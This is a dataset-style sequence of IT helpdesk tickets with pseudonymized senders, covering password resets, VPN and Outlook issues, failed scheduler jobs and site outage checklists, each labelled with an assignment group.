Ticket with Short description: login issue, Description: -verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and reset the password.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook, Description: \_x000D\_
\_x000D\_
received from: hmjdrvpb.komuaywn@gmail.com\_x000D\_
\_x000D\_
hello team,\_x000D\_
\_x000D\_
my meetings/skype meetings etc are not appearing in my outlook calendar, can somebody please advise how to correct this?\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: cant log in to vpn, Description: \_x000D\_
\_x000D\_
received from: eylqgodm.ybqkwiam@gmail.com\_x000D\_
\_x000D\_
hi\_x000D\_
\_x000D\_
i cannot log on to vpn\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access hr\_tool page, Description: unable to access hr\_tool page, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype error , Description: skype error , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to engineering tool and skype, Description: unable to log in to engineering tool and skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: event: critical:HostName\_221.company.com the value of mountpoint threshold for /oracle/SID\_37/erpdata21/ , Description: event: critical:HostName\_221.company.com the value of mountpoint threshold for /oracle/SID\_37/erpdata21/sr3psa1d\_7/sr3psa1d.data7,perpsr3psa1d,4524 is 98, is assigned to Assignment group: GRP\_1.Ticket with Short description: ticket\_no1550391- employment status - new non-employee [enter user's name], Description: ticket\_no1550391- employment status - new non-employee [enter user's name], is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to disable add ins on outlook, Description: unable to disable add ins on outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_874773, Description: ticket update on inplant\_874773, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering tool says not connected and unable to submit reports, Description: engineering tool says not connected and unable to submit reports, is assigned to Assignment group: GRP\_0.Ticket with Short description: hr\_tool site not loading page correctly, Description: hr\_tool site not loading page correctly, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to hr\_tool to sgxqsuojr xwbesorf cards, Description: unable to login to hr\_tool to sgxqsuojr xwbesorf cards, is assigned to Assignment group: GRP\_0.Ticket with Short description: user wants to reset the password, Description: user wants to reset the password, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open payslips , Description: unable to open payslips , is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_874743, Description: ticket update on inplant\_874743, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to company vpn, Description:
received from: xyz@company.com
hi,
i am unable to login to company vpn website, trying to open a new session using the below link, but not able to get through pls help urgently as we are working from home tomorrow due to month end closing. , is assigned to Assignment group: GRP\_0.Ticket with Short description: when undocking pc , screen will not come back, Description: when undocking pc , screen will not come back, is assigned to Assignment group: GRP\_3.Ticket with Short description: erp SID\_34 account locked, Description: erp SID\_34 account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to sign into vpn, Description: unable to sign into vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to check payslips, Description: unable to check payslips, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn issue, Description: \_x000D\_
\_x000D\_
received from: ugephfta.hrbqkvij@gmail.com\_x000D\_
\_x000D\_
hello helpdesk\_x000D\_
\_x000D\_
i am not able to connect vpn from home office. couple f hours ago i was connected, now it is not working anymore. getting a message that my session expired but if i click on the link, nothing happens.\_x000D\_
\_x000D\_
[cid:image001.jpg@01d233aa.3f618be0]\_x000D\_
\_x000D\_
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\_x000D\_
\_x000D\_
need help with your dynamics crm?\_x000D\_
click here<\_x000D\_
\_x000D\_
chat with a live agent regarding your dynamics crm questions now! click here<\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: user called for vendor phone number, Description: user called for vendor phone number, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn not working, Description:
received from: dceoufyz.saufqkmd@gmail.com
hello,
i'm not being able to connect to company network through the vpn. pls check.
cc: sir-i am not being able to upload as a result of no company network.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_37 password reset , Description: erp SID\_37 password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to hr\_tool to check payslips, Description: unable to login to hr\_tool to check payslips, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked out, Description: account locked out, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to hr\_tool, Description: unable to login to hr\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to erp SID\_34 , Description: unable to log in to erp SID\_34 , is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset for collaboration\_platform, Description: password reset for collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset users, Description: hi
please reset users password
client id: 794
username : xyz
, is assigned to Assignment group: GRP\_0.Ticket with Short description: duplication of network address., Description:
received from: kxsceyzo.naokumlb@gmail.com
gentles,
i have two devices that are trying to share an ip address. they are trying to share 96.26.27.9619. one is a printer with the hostname of prtjc0074, and the other is a new display for erp. the display is using dhcp to get its address assigned and the printer is hard coded.
my guess is that the address 96.26.27.9619 did not get set to a static address in dhcp. i need this corrected so the display will pick up another address.
, is assigned to Assignment group: GRP\_4.Ticket with Short description: ess password reset, Description: ess password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to install flash player, Description: unable to install flash player, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket\_no1564677-employment status - new non-employee , Description: ticket\_no1564677-employment status - new non-employee \_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock and password reset, Description: erp SID\_34 account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to resolve ticket\_no assigned to self, Description: the status button is dierppearing after a few seconds., is assigned to Assignment group: GRP\_0.Ticket with Short description: installing engineering tool, Description: need to install engineering tool on the pc, is assigned to Assignment group: GRP\_0.Ticket with Short description: call for ecwtrjnq jpecxuty, Description: call for ecwtrjnq jpecxuty, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update - inplant\_874615, Description: ticket update - inplant\_874615, is assigned to Assignment group: GRP\_0.Ticket with Short description: tablet 7350-sound not working, Description: tablet 7350-sound not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to system, Description: unable to login to system, is assigned to Assignment group: GRP\_0.Ticket with Short description: please reroute jobs on printer01 to printer02 - issue needs to be resolved today, Description:
received from: yisohglr.uvteflgb@gmail.com
hi -
the printer01 printer is not working and needs a part replaced. can you reroute the jobs in queue to printer printer02? wihuyjdo qpogfwkb has indicated that prqos001 needs a new part and it may not deliver for a few days so the inwarehouse\_tools will need to print on printer02 for now. this needs to be taken care of today since the inwarehouse\_tools are printed and are picked up by an outside vendor at 2:30 pm in usa on a daily basis. please contact dkmcfreg anwmfvlgenkataramdntyana if you have questions about the jobs in queue for today.
, is assigned to Assignment group: GRP\_5.Ticket with Short description: unable to login to hr\_tool etime, Description: unable to login to hr\_tool etime, is assigned to Assignment group: GRP\_0.Ticket with Short description: can not log into hr\_tool etime through single sign on portal, Description: can not log into hr\_tool etime through single sign on portal, is assigned to Assignment group: GRP\_0.Ticket with Short description: password changed in password\_management\_tool but didnt update for erp account, Description: password changed in password\_management\_tool but didnt update for erp account, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1424 failed in job\_scheduler at: 10/31/2016 09:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1424 failed in job\_scheduler at: 10/31/2016 09:06:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: windows password change via password\_management\_tool, Description: windows password change via password\_management\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: status does not change on telephony\_software, Description: when closing a call, the agent keeps on the "on acd call" status., is assigned to Assignment group: GRP\_7.Ticket with Short description: job mm\_zscr0099\_dly\_merktc3 failed in job\_scheduler at: 10/31/2016 08:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job mm\_zscr0099\_dly\_merktc3 failed in job\_scheduler at: 10/31/2016 08:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: call for ecwtrjnq jpecxuty, Description: call for ecwtrjnq jpecxuty, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2 - i need my password\_management\_tool password manager password reset., Description: i need my password\_management\_tool password manager password reset.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset scm\_software password, Description:
received from: cdbaoqts.wqbsodni@gmail.com
hello,
please reset my scm\_software password.
cdbaoqts wqbsodni
global product manager, markhtyeting initiatives
cdbaoqts.wqbsodni@gmail.com<mailto:cdbaoqts.wqbsodni@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked out while in office, Description: account kept locking out\_x000D\_
possible reasons\_x000D\_
\_x000D\_
companysecure or mobile device email setup has an incorrect password stored.\_x000D\_
windows and network passwords do not match., is assigned to Assignment group: GRP\_0.Ticket with Short description: skype meeting, Description: \_x000D\_
\_x000D\_
received from: dlougnqw.jiuybxew@gmail.com\_x000D\_
\_x000D\_
good morning,\_x000D\_
\_x000D\_
i had to reset my password again and i've lost my option for setting up a skype meeting again. can you please help me? i can't recall how you were able to bring it back the last time.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: enquiry on impact rewards, Description: enquiry on impact rewards- how to get password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: need dn for material 3346599/ plant plant\_197/ 5019253000 1 pcs thanks, Description: need dn for material 3346599/ plant plant\_197/ 5019253000 1 pcs , is assigned to Assignment group: GRP\_6.Ticket with Short description: unlock logon password, Description: \_x000D\_
\_x000D\_
received from: cnhkypxw.lafncksi@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
please help to unlock my company net log on password. urgent.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job mm\_zscr0099\_dly\_merktc2 failed in job\_scheduler at: 10/31/2016 05:19:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job mm\_zscr0099\_dly\_merktc2 failed in job\_scheduler at: 10/31/2016 05:19:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3181 failed in job\_scheduler at: 10/31/2016 05:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3181 failed in job\_scheduler at: 10/31/2016 05:00:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: password changed required for user- abc, Description: password changed required for user- abc, is assigned to Assignment group: GRP\_0.Ticket with Short description: issues with outlook, Description: \_x000D\_
\_x000D\_
received from: lkfzibrx.ljnabpgx@gmail.com\_x000D\_
\_x000D\_
[cid:image001.png@01d23357.fcbe58b0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent - create dlv, Description: please help , i try to create dlv for this mm's\_x000D\_
7393673 sto 5019411580/00001\_x000D\_
7393617 sto 5019329184/00002\_x000D\_
\_x000D\_
sto from plant\_289 to plant\_101 , is assigned to Assignment group: GRP\_6.Ticket with Short description: apac company : two switches are down since 3.45 am et on 10/31., Description: apac company : two switches are down since 3.45 am et on 10/31.\_x000D\_
\_x000D\_
company-ap-chn-apac-company-2960-access-sw04 \_x000D\_
company-ap-chn-apac-company-2960-access-sw03., is assigned to Assignment group: GRP\_8.Ticket with Short description: error login on to the SID\_34 system., Description: error login on to the SID\_34 system.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-user has tried the password\_management\_tool pwd manager.\_x000D\_
-unlocked the erp id.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: delivery note can't do post goods issue, Description: d/n #9169754657&8058643570\_x000D\_
plant:plant\_304 to plant\_310\_x000D\_
the issue display:\_x000D\_
ekpo-sobkz=e; ekpo-umsok=\_; ekpo-kzbws<>\_ ekpo-kzvbr<>e (note 305582) not supported (check your entry)\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1338 failed in job\_scheduler at: 10/31/2016 02:29:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1338 failed in job\_scheduler at: 10/31/2016 02:29:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1854 failed in job\_scheduler at: 10/31/2016 01:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1854 failed in job\_scheduler at: 10/31/2016 01:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_2588 failed in job\_scheduler at: 10/31/2016 01:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2588 failed in job\_scheduler at: 10/31/2016 01:30:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_2599 failed in job\_scheduler at: 10/31/2016 01:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2599 failed in job\_scheduler at: 10/31/2016 01:30:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: user locked- user :xyz, Description:
received from: przndfbo.pldqbhtn@gmail.com
it team,
please kindly release locked computer for user : xyz
user name : fbmugzrl ahyiuqev
, is assigned to Assignment group: GRP\_0.Ticket with Short description: dell 7350: my laptop speakers is not working again and requires your urgent help., Description: my laptop speakers is not working again and requires your urgent help., is assigned to Assignment group: GRP\_0.Ticket with Short description: user needs help to connect to the wireless connection at home., Description: user needs help to connect to the wireless connection at home.
-had the user connect to the lan at home.
-connected to the user system using teamviewer.
-checked the network settings.
-help the user login to the home wireless.
-disconnected the home lan.
-user confirmed that he is able to login to the home wireless.
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: inc1564062: ticket update , Description: inc1564062: ticket update , is assigned to Assignment group: GRP\_0.Ticket with Short description: job hr\_payroll\_na\_u1 failed in job\_scheduler at: 10/30/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u1 failed in job\_scheduler at: 10/30/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u2 failed in job\_scheduler at: 10/30/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u2 failed in job\_scheduler at: 10/30/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u6 failed in job\_scheduler at: 10/30/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u6 failed in job\_scheduler at: 10/30/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: power outage:UK al, 1st and 5th ave sites hard down since at 4:31 pm et on 10/30. , Description: what type of outage: \_\_\_\_\_network \_\_\_\_\_circuit \_\_\_x\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_4:31 pm et on 10/30. \_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_yno\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_global\_telecom\_1#000000223670658 \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: power outage : germany, mx: site is hard down since 10/30/2016 10:09 am et, Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_10/30/2016 10:09 am et\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_no\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_\_no\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1424 failed in job\_scheduler at: 10/30/2016 10:35:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1424 failed in job\_scheduler at: 10/30/2016 10:35:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: erp SID\_34 account locked, Description: erp SID\_34 account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: user yhmwxsqj ugnthxky having issues logging to outlook. , Description: user yhmwxsqj ugnthxky having issues logging to outlook.
rgtry will be available tomorrow around 9.00 am, he works out of company campus. request you to reach out to him & fix the issue., is assigned to Assignment group: GRP\_0.Ticket with Short description: job bwhrattr failed in job\_scheduler at: 10/30/2016 02:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwhrattr failed in job\_scheduler at: 10/30/2016 02:20:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: engineering tool drawing originals in pdf format are not shown, Description: hello it service,\_x000D\_
i need to monitor the manufacturing drawings to approve manufacturing.\_x000D\_
the engineering tool stopped showing pdf originals:\_x000D\_
\_x000D\_
process: \_x000D\_
\_x000D\_
\_x000D\_
[[erp] /production\_order\_interface\_vendor/bas\_cr 167 - rfc destination production\_order\_interface\_vendor-views-010 not accessible (file cannot be stamped now; ).]\_x000D\_
08:06:34 \_x000D\_
bapireturnederrorexception\_x000D\_
[stack trace]\_x000D\_
cadagent.erp.conn.jco.tm.jcoerpmanager.handlereturnstructureorreturntableline(jcoerpmanager.java:379, @(#) $id: jcoerpmanager.java 60470 2015-07-24 09:02:22z wt $)\_x000D\_
cadagent.erp.conn.jco.tm.jcoerpmanager.handlereturnstructure(jcoerpmanager.java:360, @(#) $id: jcoerpmanager.java 60470 2015-07-24 09:02:22z wt $)\_x000D\_
cadagent.erp.conn.jco.tm.jcoerpmanager.generirtcfunction(jcoerpmanager.java:324, @(#) $id: jcoerpmanager.java 60470 2015-07-24 09:02:22z wt $)\_x000D\_
cadagent.objmod.plmfile.checkoutview(plmfile.java:1109, @(#) $id: plmfile.java 182 2016-02-18 19:00:08z aju $)\_x000D\_
plm.omf.omforiginalsexport.checkoutbapi(omforiginalsexport.java:337, @(#) $id: omforiginalsexport.java 54279 2014-51.08.85.1636:24z rb $)\_x000D\_
plm.omf.omforiginalsexport.downloaddocumentoriginals(omforiginalsexport.java:226, @(#) $id: omforiginalsexport.java 54279 2014-51.08.85.1636:24z rb $)\_x000D\_
plm.omf.omforiginalsexport.actionperformed(omforiginalsexport.java:147, @(#) $id: omforiginalsexport.java 54279 2014-51.08.85.1636:24z rb $)\_x000D\_
cadagent.gui.obr.obrfunctioneventqueue.run(obrfunctioneventqueue.java:209, @(#) $id: obrfunctioneventqueue.java 51962 2014-07-16 11:28:24z bda $)\_x000D\_
\_x000D\_
[api] bapi\_document\_checkoutview2\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
is this a known problem? when it will be fixed?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_11.Ticket with Short description: job apo\_bop\_plant\_283a failed in job\_scheduler at: 10/30/2016 01:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job apo\_bop\_plant\_283a failed in job\_scheduler at: 10/30/2016 01:25:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_1315 failed in job\_scheduler at: 10/30/2016 00:48:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1315 failed in job\_scheduler at: 10/30/2016 00:48:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job mm\_zscr0099\_wkly\_rollfgyuej1 failed in job\_scheduler at: 10/30/2016 00:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job mm\_zscr0099\_wkly\_rollfgyuej1 failed in job\_scheduler at: 10/30/2016 00:11:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to open ie , Description: unable to open ie , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3050 failed in job\_scheduler at: 10/29/2016 23:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3050 failed in job\_scheduler at: 10/29/2016 23:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_30cold failed in job\_scheduler at: 10/29/2016 18:58:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_30cold failed in job\_scheduler at: 10/29/2016 18:58:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_35cold failed in job\_scheduler at: 10/29/2016 18:47:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_35cold failed in job\_scheduler at: 10/29/2016 18:47:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job Job\_436 failed in job\_scheduler at: 10/29/2016 18:29:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_436 failed in job\_scheduler at: 10/29/2016 18:29:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_29cold failed in job\_scheduler at: 10/29/2016 18:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_29cold failed in job\_scheduler at: 10/29/2016 18:11:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job Job\_717 failed in job\_scheduler at: 10/29/2016 18:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_717 failed in job\_scheduler at: 10/29/2016 18:11:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_26cold failed in job\_scheduler at: 10/29/2016 18:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_26cold failed in job\_scheduler at: 10/29/2016 18:11:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_35cold failed in job\_scheduler at: 10/29/2016 18:09:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_35cold failed in job\_scheduler at: 10/29/2016 18:09:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: amssm00345: c:\ label:sys-amssm00345 94ef9088 on server: is over 85% space consumed. space available: 2.7 g , Description: amssm00345: c:\ label:sys-amssm00345 94ef9088 on server: is over 85% space consumed. space available: 2.7 g , is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to view payslips from hr\_tool e time, Description: unable to view payslips from hr\_tool e time, is assigned to Assignment group: GRP\_0.Ticket with Short description: password expiry tomorrow, Description:
received from: ecprjbod.litmjwsy@gmail.com
my system says my password expires tomorrow. but when i want to change to a new password, it does not allow. the new password is not acceptingâ€¦.it says server does not authorize. kindly check and do the needful as the password is expiring tomorrow. , is assigned to Assignment group: GRP\_0.Ticket with Short description: re: ess portal access issue, Description:
received from: noscwdpm.akiowsmp@gmail.com
hello,
he is an kiosk user. please reset the password and confirm.
noscwdpm akiowsmp
noscwdpm.akiowsmp@gmail.com
from: ihkolepb ozhnjyef
sent: 29 october 2016 13:38
to: company@ticketing\_tool.com
subject: ess portal access issue
hi,
below mentioned employee krlszbqo spimolgz with user id sv123 is not able to login to ess portal to access his pay slips and related contents. he is a attendance\_tool user. please reset his user id and password and revert back.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ess portal access issue, Description:
received from: ihkolepb.ozhnjyef@gmail.com
hi,
below mentioned employee krlszbqo spimolgz with user id sv123 is not able to login to ess portal to access his pay slips and related contents. he is a attendance\_tool user. please reset his user id and password and revert back.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1390 failed in job\_scheduler at: 10/29/2016 03:55:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1390 failed in job\_scheduler at: 10/29/2016 03:55:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_2002 failed in job\_scheduler at: 10/29/2016 02:52:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2002 failed in job\_scheduler at: 10/29/2016 02:52:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_2002 failed in job\_scheduler at: 10/29/2016 02:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2002 failed in job\_scheduler at: 10/29/2016 02:30:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_1319 failed in job\_scheduler at: 10/29/2016 02:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1319 failed in job\_scheduler at: 10/29/2016 02:02:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1382 failed in job\_scheduler at: 10/29/2016 02:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1382 failed in job\_scheduler at: 10/29/2016 02:00:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: attendance\_tool - system log on error, Description:
received from: isfadulo.etkyjabn@gmail.com
hello
good morning,
i am experiencing issues with attendance\_tool log on
every time i try to log on through "single sign portal, the following screen gets displayed and it stays there.
appreciate your support to fix this issue
[cid:image011.jpg@01d231cb.2cceacf0]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: excel freezing issue, Description: excel freezing issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to sync a file in collaboration\_platform , Description: unable to sync a file in collaboration\_platform , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to update password on the password\_management\_tool password manager, Description: unable to update password on the password\_management\_tool password manager, is assigned to Assignment group: GRP\_0.Ticket with Short description: vitalyst transfer: reporting\_tool access query, Description: vitalyst transfer: reporting\_tool access query, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2881 failed in job\_scheduler at: 10/28/2016 18:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2881 failed in job\_scheduler at: 10/28/2016 18:06:00, is assigned to Assignment group: GRP\_13.Ticket with Short description: user said he will callback , Description: user said he will callback , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable update passwords on password\_management\_tool , Description: unable update passwords on password\_management\_tool , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 erp production password reset // account is locked, Description: erp SID\_34 erp production password reset // account is locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: server issues, Description: \_x000D\_
\_x000D\_
received from: bgqpotek.cuxakvml@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i have been trying to gain access to my pay roll information on the hub, specifically the hr\_tool etime portal. the "other" information on the portal come up without problems, but the "pay stub" does notâ€¦it continuously shows the search ring.\_x000D\_
\_x000D\_
\_x000D\_
